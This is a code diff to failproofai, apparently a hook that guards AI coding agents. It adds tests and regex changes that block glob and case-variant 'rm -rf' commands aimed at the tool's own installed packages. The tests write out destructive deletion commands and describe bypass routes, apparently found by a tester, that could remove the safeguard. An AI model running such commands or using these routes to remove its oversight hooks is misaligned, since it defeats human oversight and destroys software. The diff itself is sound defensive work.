b/__tests__/hooks/guard-installed-code.test.ts index 46a997097..fe9b73d83 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -257,6 +257,18 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["wget writing the CLI through -O", "wget -q -Onode_modules/failproofai/dist/cli.mjs https://example.com/x"], ["wget writing the CLI through a -qO cluster", "wget -qOnode_modules/failproofai/dist/cli.mjs https://example.com/x"], ["wget writing pnpm's store entry through -qO", "wget -qO.pnpm/failproofai@1.0.15/x https://example.com/x"], + // The daemon's platform package in pnpm's store and in its scope, through + // globs over its platform, its version or its name (found by hermes). + ["a glob over the daemon's pnpm store entry", "rm -rf node_modules/.pnpm/@failproofai+failproofaid-*@*"], + ["a dotted glob over the daemon's pnpm store entry", "rm -rf ./node_modules/.pnpm/@failproofai+failproofaid-*@*"], + ["a platform- and version-targeted glob", "rm -rf node_modules/.pnpm/@failproofai+failproofaid-linux-*@1.0.*"], + ["a glob over the scope in pnpm's store", "rm -rf node_modules/.pnpm/@failproofai+*"], + ["a short glob onto the scope in pnpm's store", "rm -rf node_modules/.pnpm/@f*"], + ["a glob onto the daemon package in its scope", "rm -rf node_modules/@failproofai/f*"], + // A default macOS volume resolves the literal parent whatever its case. + ["a glob under an upper-case parent", "rm -rf NODE_MODULES/fail*"], + ["a dotted glob under an upper-case parent", "rm -rf ./NODE_MODULES/fail*"], + ["a glob under a mixed-case parent in pnpm's store", "rm -rf Node_Modules/.pnpm/fail*"], // What ends a shell word still starts a component. ["the package named in a subshell", "(rm -rf node_modules/failproofai)"], ["the package named in a brace list", "rm -rf {node_modules/failproofai,tmp}"], @@ -280,6 +292,10 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["clearing pnpm's whole store", "rm -rf node_modules/.pnpm/*"], ["clearing pnpm's whole store, dotted", "rm -rf ./node_modules/.pnpm/*"], ["removing a fixture under cached_node_modules", "rm -rf cached_node_modules/failproofai"], + ["clearing every scoped package in pnpm's store", "rm -rf node_modules/.pnpm/@*"], + ["clearing every scoped package", "rm -rf node_modules/@*/*"], + ["clearing every dependency under an upper-case parent", "rm -rf NODE_MODULES/*"], + ["clearing every versioned entry in pnpm's store", "rm -rf node_modules/.pnpm/*@*"], ["a test run inside a directory of that name under bin/", "vitest run --root /home/u/bin/failproofai/web"], ["clearing a build cache", "rm -rf node_modules/.cache"], ["removing a checkout of the repo", "rm -rf /home/u/src/failproofai"], diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 92318e1cc..717bd18c7 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -520,8 +520,10 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( pathComponent("node_modules") + String.raw`[\\/](?:\.?[\\/])*(?:failproofai(?![\w.@-])|@failproofai[\\/](?:\.?[\\/])*failproofaid\b)`, // pnpm's virtual store, which holds each package one directory above its - // own `node_modules/failproofai`. - pathComponent(String.raw`\.pnpm`) + String.raw`[\\/](?:\.?[\\/])*(?:failproofai|@failproofai\+failproofaid[\w.-]*)@`, + // own `node_modules/failproofai`. The daemon's entry is recognised by its + // name alone, so a glob over its platform or version + // (`@failproofai+failproofaid-*@*`) still names it. + pathComponent(String.raw`\.pnpm`) + String.raw`[\\/](?:\.?[\\/])*(?:failproofai@|@failproofai\+failproofaid\b)`, // The entry a hook command names: `…/bin/failproofai` for npm, nvm, // Homebrew, bun, Volta and yarn, `…/pnpm/failproofai` for pnpm's home, and // the variables nvm and pnpm export for those directories. A FILE, so a @@ -863,6 +865,15 @@ const STATE_GLOB_CANDIDATES = [ "./node_modules/failproofai", "node_modules/.pnpm/failproofai@1.0.0", "./node_modules/.pnpm/failproofai@1.0.0", + // The daemon's platform package, in pnpm's store and in its scope, for each + // platform it ships to, so a glob that wildcards its name is still read as + // aimed at it (`node_modules/.pnpm/@failproofai+*`, `node_modules/@failproofai/f*`). + ...["linux-x64", "linux-arm64", "darwin-x64", "darwin-arm64"].flatMap((platform) => [ + `node_modules/.pnpm/@failproofai+failproofaid-${platform}@1.0.0`, + `./node_modules/.pnpm/@failproofai+failproofaid-${platform}@1.0.0`, + `node_modules/@failproofai/failproofaid-${platform}`, + `./node_modules/@failproofai/failproofaid-${platform}`, + ]), "/usr/local/lib/node_modules/failproofai", "/usr/lib/node_modules/failproofai", "/opt/homebrew/lib/node_modules/failproofai", @@ -891,6 +902,8 @@ const GLOB_DECOYS = [ // its global equivalents are read as the sweeps they are. "node_modules/react", "node_modules/.bin", "./node_modules/react", "node_modules/.pnpm/react@18.0.0", "./node_modules/.pnpm/react@18.0.0", + "node_modules/.pnpm/@types+node@20.0.0", "./node_modules/.pnpm/@types+node@20.0.0", + "node_modules/@types/node", "./node_modules/@types/node", "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", ]; @@ -1210,7 +1223,10 @@ function globPrefixNamesState(token: string): boolean { const pattern = "^" + compileGlobPattern(token); let re: RegExp; try { - re = new RegExp(pattern + "$"); + // Case-insensitive, like FAILPROOFAI_STATE_PATH_RE: on a default macOS + // volume `NODE_MODULES/fail*` reaches the real `node_modules/failproofai`, + // because the literal parent is resolved by the filesystem. + re = new RegExp(pattern + "$", "i"); } catch { return false; }